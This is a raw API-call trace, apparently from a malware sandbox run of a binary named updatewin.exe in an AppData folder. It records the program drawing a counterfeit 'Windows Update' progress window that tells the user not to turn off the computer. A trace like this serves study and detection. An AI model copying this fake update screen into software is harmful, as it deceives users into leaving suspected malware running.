lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xdc\x04\x8b\x54\x18\xe5\x18", lpUsedDefaultChar=0x0) returned 256 [0055.087] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x80) returned 0x31b0e0 [0055.088] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x413ba8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe")) returned 0x5e [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xc6) returned 0x31d360 [0055.088] RtlInitializeSListHead (in: ListHead=0x413ad0 | out: ListHead=0x413ad0) [0055.088] GetLastError () returned 0x0 [0055.088] SetLastError (dwErrCode=0x0) [0055.088] GetEnvironmentStringsW () returned 0x31d430* [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xaca) returned 0x31df08 [0055.088] FreeEnvironmentStringsW (penv=0x31d430) returned 1 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x98) returned 0x31afc8 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3e) returned 0x31d430 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6c) returned 0x31d478 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6e) returned 0x31d4f0 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x78) returned 0x301270 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x62) returned 0x31d568 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x3052c0 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x31d5d8 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x28) returned 0x31d628 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1a) returned 0x31d0a8 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4a) returned 0x31d658 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x72) returned 0x3012f0 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x3052f8 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x305330 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1c) returned 0x31d0d0 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xd2) returned 0x31d6b0 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x7c) returned 0x31d790 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x31d818 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3a) returned 0x31e9f8 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x90) returned 0x31d858 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x31d8f0 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x305368 [0055.088] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x31d920 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x31d960 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x31d9b0 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x31ea40 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x82) returned 0x31da10 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x3053a0 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1e) returned 0x31d0f8 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2c) returned 0x3053d8 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x31daa0 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x31db00 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2a) returned 0x305410 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x31ea88 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x31db60 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x31dbc0 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x305448 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8c) returned 0x31dbf0 [0055.089] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31df08 | out: hHeap=0x2f0000) returned 1 [0055.089] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x800) returned 0x31dc88 [0055.089] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.089] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402116) returned 0x404e69 [0055.089] GetStartupInfoW (in: lpStartupInfo=0x18e548 | out: lpStartupInfo=0x18e548*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0055.089] InitCommonControlsEx (picce=0x18e564) returned 1 [0055.090] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x60125 [0055.091] LoadStringW (in: hInstance=0x400000, uID=0x67, lpBuffer=0x414378, cchBufferMax=100 | out: lpBuffer="Windows Update") returned 0xe [0055.091] LoadStringW (in: hInstance=0x400000, uID=0x6d, lpBuffer=0x4142b0, cchBufferMax=100 | out: lpBuffer="WINDOWSUPDATE") returned 0xd [0055.091] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x60125 [0055.091] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0055.091] LoadIconW (hInstance=0x400000, lpIconName=0x6c) returned 0x50127 [0055.091] RegisterClassExW (param_1=0x18e510) returned 0xc059 [0055.092] GetDesktopWindow () returned 0x10010 [0055.092] MonitorFromWindow (hwnd=0x10010, dwFlags=0x2) returned 0x10001 [0055.092] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x18e510 | out: lpmi=0x18e510) returned 1 [0055.092] CreateWindowExW (dwExStyle=0x0, lpClassName="WINDOWSUPDATE", lpWindowName="Windows Update", dwStyle=0x0, X=1002, Y=600, nWidth=418, nHeight=240, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x6011e [0055.108] NtdllDefWindowProc_W () returned 0x0 [0055.108] NtdllDefWindowProc_W () returned 0x1 [0055.111] NtdllDefWindowProc_W () returned 0x0 [0055.113] CreateDialogParamW (hInstance=0x400000, lpTemplateName=0x65, hWndParent=0x6011e, lpDialogFunc=0x401360, dwInitParam=0x0) returned 0x301bc [0055.122] NtdllDefWindowProc_W () returned 0x0 [0055.125] NtdllDefWindowProc_W () returned 0x0 [0055.125] NtdllDefWindowProc_W () returned 0x0 [0055.129] GetClientRect (in: hWnd=0x301bc, lpRect=0x18d358 | out: lpRect=0x18d358) returned 1 [0055.130] GetDlgItem (hDlg=0x301bc, nIDDlgItem=1000) returned 0x301b6 [0055.130] MoveWindow (hWnd=0x301b6, X=295, Y=167, nWidth=95, nHeight=23, bRepaint=1) returned 1 [0055.130] GetDlgItem (hDlg=0x301bc, nIDDlgItem=1001) returned 0x301b8 [0055.130] MoveWindow (hWnd=0x301b8, X=95, Y=134, nWidth=225, nHeight=16, bRepaint=1) returned 1 [0055.131] SendMessageW (hWnd=0x301b8, Msg=0x401, wParam=0x0, lParam=0x640000) returned 0x640000 [0055.131] SendMessageW (hWnd=0x301b8, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x0 [0055.131] timeGetTime () returned 0x1c965 [0055.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401690, lpParameter=0x301bc, dwCreationFlags=0x0, lpThreadId=0x4142a4 | out: lpThreadId=0x4142a4*=0xa64) returned 0xbc [0055.132] ShowWindow (hWnd=0x301bc, nCmdShow=5) returned 0 [0055.132] GetClientRect (in: hWnd=0x6011e, lpRect=0x18df10 | out: lpRect=0x18df10) returned 1 [0055.133] MoveWindow (hWnd=0x301bc, X=0, Y=0, nWidth=412, nHeight=212, bRepaint=1) returned 1 [0055.133] NtdllDefWindowProc_W () returned 0x0 [0055.134] SetWindowPos (hWnd=0x6011e, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0055.134] NtdllDefWindowProc_W () returned 0x0 [0055.136] NtdllDefWindowProc_W () returned 0x0 [0055.136] NtdllDefWindowProc_W () returned 0x0 [0055.150] NtdllDefWindowProc_W () returned 0x0 [0055.152] NtdllDefWindowProc_W () returned 0x0 [0055.152] NtdllDefWindowProc_W () returned 0x1 [0055.154] NtdllDefWindowProc_W () returned 0x0 [0055.183] NtdllDefWindowProc_W () returned 0x0 [0055.184] NtdllDefWindowProc_W () returned 0x0 [0055.185] NtdllDefWindowProc_W () returned 0x0 [0055.185] NtdllDefWindowProc_W () returned 0x0 [0055.186] ShowWindow (hWnd=0x6011e, nCmdShow=1) returned 0 [0055.186] NtdllDefWindowProc_W () returned 0x0 [0055.186] NtdllDefWindowProc_W () returned 0x0 [0055.186] NtdllDefWindowProc_W () returned 0x0 [0055.191] NtdllDefWindowProc_W () returned 0x1 [0055.192] NtdllDefWindowProc_W () returned 0x0 [0055.192] NtdllDefWindowProc_W () returned 0x0 [0055.192] NtdllDefWindowProc_W () returned 0x0 [0055.192] UpdateWindow (hWnd=0x6011e) returned 1 [0055.192] BeginPaint (in: hWnd=0x6011e, lpPaint=0x18e328 | out: lpPaint=0x18e328) returned 0x11010819 [0055.192] EndPaint (hWnd=0x6011e, lpPaint=0x18e328) returned 1 [0055.192] BeginPaint (in: hWnd=0x301bc, lpPaint=0x18da10 | out: lpPaint=0x18da10) returned 0x11010819 [0055.193] CreateSolidBrush (color=0x5b3ef) returned 0x17100816 [0055.193] FillRect (hDC=0x11010819, lprc=0x18da00, hbr=0x17100816) returned 1 [0055.198] DeleteObject (ho=0x17100816) returned 1 [0055.198] DrawIcon (hDC=0x11010819, X=7, Y=7, hIcon=0x60125) returned 1 [0055.198] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x370a0804 [0055.198] SelectObject (hdc=0x11010819, h=0x370a0804) returned 0x18a002e [0055.198] SetBkMode (hdc=0x11010819, mode=1) returned 2 [0055.198] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0055.198] TextOutW (hdc=0x11010819, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0055.202] SelectObject (hdc=0x11010819, h=0x18a002e) returned 0x370a0804 [0055.202] CreateSolidBrush (color=0xffffff) returned 0x18100816 [0055.202] FillRect (hDC=0x11010819, lprc=0x18d9f0, hbr=0x18100816) returned 1 [0055.202] DeleteObject (ho=0x18100816) returned 1 [0055.202] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x320a07f7 [0055.208] SelectObject (hdc=0x11010819, h=0x320a07f7) returned 0x18a002e [0055.208] SetBkMode (hdc=0x11010819, mode=1) returned 1 [0055.208] lstrlenW (lpString="Getting your update ready.") returned 26 [0055.208] TextOutW (hdc=0x11010819, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0055.209] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0055.209] TextOutW (hdc=0x11010819, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0055.209] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0055.209] TextOutW (hdc=0x11010819, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0055.209] SelectObject (hdc=0x11010819, h=0x18a002e) returned 0x320a07f7 [0055.209] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x160a0247 [0055.211] SelectObject (hdc=0x11010819, h=0x160a0247) returned 0x18a002e [0055.211] SetBkMode (hdc=0x11010819, mode=1) returned 1 [0055.211] SetTextAlign (hdc=0x11010819, align=0x6) returned 0x0 [0055.211] wsprintfW (in: param_1=0x18da50, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0055.211] lstrlenW (lpString="Percent complete: 4%") returned 20 [0055.211] TextOutW (hdc=0x11010819, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0055.213] SelectObject (hdc=0x11010819, h=0x18a002e) returned 0x160a0247 [0055.213] EndPaint (hWnd=0x301bc, lpPaint=0x18da10) returned 1 [0055.238] LoadAcceleratorsW (hInstance=0x400000, lpTableName=0x6d) returned 0x101bf [0055.238] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.238] NtdllDefWindowProc_W () returned 0x0 [0055.239] NtdllDefWindowProc_W () returned 0x0 [0055.239] NtdllDefWindowProc_W () returned 0x0 [0055.239] TranslateAcceleratorW (hWnd=0x0, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.239] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.239] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.239] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.239] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.239] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.239] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.239] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.267] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.267] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.267] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.267] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.267] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.267] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.267] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.268] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.282] TranslateAcceleratorW (hWnd=0x201f0, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.282] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.282] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.282] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.314] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.314] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.314] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.314] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.360] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.360] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.360] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.360] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.407] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.407] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.407] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.407] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.407] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.407] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.407] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.408] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.453] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.453] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.453] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.453] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.485] TranslateAcceleratorW (hWnd=0x201ee, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.485] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.485] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.485] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.500] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.500] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.500] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.500] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.547] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.547] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.547] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.547] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.547] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.547] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.547] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.548] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.594] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.594] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.594] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.594] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.646] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.646] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.646] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.647] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.647] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0055.647] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.647] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.648] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.171] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.171] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.171] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.171] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.218] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.218] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.218] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.218] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.218] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.218] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.218] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.219] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.265] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.265] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.265] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.265] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.265] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.265] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.265] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.266] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.311] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.311] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.311] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.311] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 